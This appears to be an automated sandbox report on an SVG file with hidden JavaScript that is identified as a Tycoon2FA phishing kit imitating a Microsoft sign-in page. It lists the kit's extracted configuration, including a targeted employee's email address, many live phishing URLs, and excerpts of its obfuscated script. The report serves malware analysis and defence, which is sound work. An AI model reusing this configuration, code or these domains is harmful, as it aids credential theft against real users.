Create Interactive Tour

Windows Analysis Report
7274442614.svg

Overview

General Information

Sample name:	7274442614.svg
Analysis ID:	1641402
MD5:	b023d2663a76e1bdf5a823929898b92b
SHA1:	1fbdc8c59c13391e8f9f92b1eda1736ba277a6c2
SHA256:	02101b57b1f27fcdd2f7651058d12485da6ecef5781d56ec7792018dc1dddd45
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected HtmlPhish80

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5972 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,764256773241879780,15368156389285532896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2396 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\7274442614.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "T8x6LF1",
  "emailcheck": "t.mack@ruhlamat.de",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
7274442614.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security
7274442614.svg	JoeSecurity_HtmlPhish_80	Yara detected HtmlPhish_80	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_97	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.9..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
3.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
3.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.22..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.2.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
3.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 22 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ruhlamat.brightnexst.ru/34H9Hmi2CBmkRWQZsuLXGbWkll8ZDdajZr67110	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff2	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/mnvoI3jENylyQfjRcA5vH8xwSMhVPXDuvIEvPI1x5f9ROzl178145	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/oppt631SaDeaZiF9PYR7ck0nYyPhzuGXsw6FjvKUstxERZxtS8Ux3DlG6PFsyZ6bhaXcd240	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/ijQimRjvEIEw9yIUdYsBmw6ZbWvqrwMQaqS9oDEx5NauoRJxDSeg2yaTRjyz228	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff2	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/wxA8tGXS8USTA11kbQFNeTbOjwoppTu7enAWm5T12130	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/rslQ61QJXERF5SHVAjdq4SWGMobrl3KkkUDhoijsszZ9jsq5iRpj3F72fp3xcd200	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/125ieYh7HUVa8cdTlZ458920	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/pax6lf1/	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/wxoM5So7vqYwNWtLzBGFFL5M0ymncgVrfiaPakgiU5Dab180	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-vf2.woff2	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/klRWqE1dKIodhWl4TpdaxFJijhYuapwgllaKZfmtQJkSm0tLq8uv214	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/opWaiTCMaxXhMYuMuKq4fyg9efmoN09n7uh9VoFQr45139	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/ijroFnG3M60J3FhNqOM0FGt8JF3y59e2lJkLklr1EsoLL8YoDCMTx8tUgChmhe8g12209	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/GDSherpa-vf.woff2	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/uvLvmC7l9w6480rnXql6LUVFUbTd0WjQdeb8poxJQbYUmnIyfJrvMhrwlvuHTsXAZqdgh260	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5	Avira URL Cloud: Label: phishing
Source: https://ruhlamat.brightnexst.ru/abbk3UUlyibKbrswXgh27	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 3.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "T8x6LF1", "emailcheck": "t.mack@ruhlamat.de", "webname": "rtrim(/web8/, '/')", "urlo": "/hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc"}

Phishing

AI detected phishing page

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'ruhlamat.brightnexst.ru' does not match the legitimate domain for Microsoft., The domain 'brightnexst.ru' is not associated with Microsoft and appears suspicious., The presence of a subdomain 'ruhlamat' and the unusual domain extension '.ru' are indicators of potential phishing., The email domain 'ruhlamat.de' does not align with the Microsoft brand, adding to the suspicion. DOM: 3.4.pages.csv
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'ruhlamat.brightnexst.ru' does not match the legitimate domain for Microsoft., The domain 'brightnexst.ru' is unrelated to Microsoft and could be suspicious., The presence of a subdomain 'ruhlamat' and the domain extension '.ru' are not typical for Microsoft., The email domain 'ruhlamat.de' suggests a different organization, not Microsoft., The URL structure and domain do not align with Microsoft's known web properties. DOM: 3.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

Yara detected HtmlPhish80

Source: Yara match

File source: 7274442614.svg, type: SAMPLE

Yara detected Invisible JS

Source: Yara match	File source: 2.5.d.script.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 2.5.d.script.csv, type: HTML
Source: Yara match	File source: 3.22..script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 2.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_97, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 3.19.d.script.csv, type: HTML
Source: Yara match	File source: 2.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.12.d.script.csv, type: HTML
Source: Yara match	File source: 2.9..script.csv, type: HTML
Source: Yara match	File source: 3.14..script.csv, type: HTML
Source: Yara match	File source: 3.15..script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 2.0.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 2.4.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and implementing a mechanism to redirect the user to an external website. The combination of these behaviors strongly suggests malicious intent, potentially for the purpose of evading detection or preventing user interaction. Therefore, this script is considered a high-risk security threat.
Source: 2.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ruhlamat.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ruhlamat.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of anti-debugging techniques, and the overall malicious intent make this a high-risk script.
Source: 2.12.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts, preventing right-click context menus, and using a debugger-based technique to detect and redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from accessing the original content or redirecting them to a malicious site.
Source: 2.5.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and the potential for data exfiltration. The obfuscated code and complex string manipulation techniques further increase the risk. Overall, this script exhibits a high level of malicious intent and should be treated with caution.
Source: 0.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: data:application/ecmascript;base64,dHJ5IHsKICAgIGZ... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `duruwo` function appears to be decoding a heavily encoded string, which could be used to redirect the user to a malicious website or execute arbitrary code. Additionally, the script attempts to modify the DOM and the window location, further increasing the risk. While the script may have a legitimate purpose, the level of obfuscation and the potential for malicious actions make it a high-risk concern.

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: 7274442614.svg, type: SAMPLE

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR

HTTP Parser: Number of links: 0

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ruhlamat.brightnexst.ru/pax6lf1/#nt.mack%40ruhlamat.de

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Graphic Card Web Template</title> <style> body { font-family: 'Montserrat', sa...

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: Invalid link: Terms of use
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: Invalid link: Terms of use
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: Invalid link: Privacy & cookies

Source: https://ruhlamat.brightnexst.ru/pax6lf1/	HTTP Parser: function rphjdjxjwl(){gdvmimcknc = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "t8x6lf1";var emailcheck = "t.mack@ruhlamat.de";var webname = "rtrim(/web8/, '/')";var urlo = "/hduu8spneoo9zyfuo0wu63kjzoof7mnl3dwocwvus1tdk0peeyzlc";var gdf = "/ghhr8q78qgszfacsmyzsnv1ogwf58sjj4hjjycd111";var odf = "/ght1hxjq97czlbyxsl6yzr3ejysjzrh4lvq23edcd644";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.matc...

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR

HTTP Parser: <input type="password" .../> found

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No favicon
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No favicon

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No <meta name="author".. found
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No <meta name="author".. found

Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No <meta name="copyright".. found
Source: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.100:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.81:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.81:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49822 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100
Source: Joe Sandbox View	IP Address: 13.33.187.14 13.33.187.14

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

